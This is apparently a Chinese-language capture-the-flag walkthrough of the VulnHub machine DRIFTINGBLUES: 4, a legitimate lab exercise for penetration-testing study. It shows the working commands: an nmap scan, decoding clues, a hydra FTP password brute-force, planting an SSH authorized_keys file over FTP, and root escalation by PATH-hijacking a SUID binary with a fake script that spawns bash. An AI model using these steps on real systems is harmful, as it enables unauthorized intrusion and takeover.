DRIFTINGBLUES: 4实战演练

一、前期准备

1、相关信息

靶机网站：https://www.vulnhub.com/entry/driftingblues-4,661/

设备名称	IP地址
攻击机：kali	192.168.2.20
靶机：DRIFTINGBLUES: 4	192.168.2.24

二、信息收集

1、端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -A 192.168.2.24

# 开放FTP：21端口、SSH：22端口、WEB:80端口
# FTP：21端口版本号为ProFTPD
# SSH：22端口版本号为OpenSSH 7.9p1 Debian 10+deb10u2
# WEB:80端口中间件为Apache httpd 2.4.38

2、访问网站

http://192.168.2.24/

3、查看源码

view-source:http://192.168.2.24/

# base64密文：Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09

4、解密

go back intruder!!! 
tight security drippin
i hope you're an employee
/imfuckingmad.txt

5、访问网页

http://192.168.2.24/imfuckingmad.txt

6、解密

解密网站：https://www.splitbrain.org/services/ook

man we are a tech company and still getting hacked??? what the shit??? enough is enough!!! 
/iTiS3Cr3TbiTCh.png

7、访问网页

http://192.168.2.24//iTiS3Cr3TbiTCh.png

8、微信扫一扫

https://i.imgur.com/a4JjS76.png

# 得到四个用户名：luther、gary、hubert、clark

9、爆破FTP

┌──(kali㉿kali)-[~]
└─$ hydra -l hubert -P /home/kali/rockyou.txt ftp://192.168.2.24

# 账号：hubert
# 密码：john316

10、登录FTP

┌──(kali㉿kali)-[~]
└─$ ftp hubert@192.168.2.24

11、下载文件并查看

ftp> get sync_log

┌──(kali㉿kali)-[~]
└─$ cat sync_log 

sync：linux同步命令，含义为迫使缓冲块数据立即写盘并更新超级块。

12、写入SSH密钥并上传

ftp> cd hubert
ftp> mkdir .ssh     
┌──(kali㉿kali)-[~]
└─$ ssh-keygen -f sain    

┌──(kali㉿kali)-[~]
└─$ cp sain.pub ./authorized_keys

ftp> put authorized_keys 

13、SSH连接

┌──(kali㉿kali)-[~]
└─$ ssh hubert@192.168.2.24 -i sain

三、后渗透

1、查看第一个flag

hubert@driftingblues:~$ ls -alh
hubert@driftingblues:~$ cat user.txt 

2、查找权限和SUID文件

hubert@driftingblues:~$ find / -user root -perm /4000 2>/dev/null

3、查看文件

hubert@driftingblues:~$ /usr/bin/getinfo 

4、设置变量并运行

hubert@driftingblues:~$ cd /tmp/
hubert@driftingblues:/tmp$ echo '/bin/bash -i' > ip
hubert@driftingblues:/tmp$ chmod +x ip 
hubert@driftingblues:/tmp$ export PATH=/tmp/:$PATH
hubert@driftingblues:/tmp$ getinfo 

5、查看第二个flag

root@driftingblues:/tmp# cd /root/
root@driftingblues:/root# ls -alh
root@driftingblues:/root# cat root.txt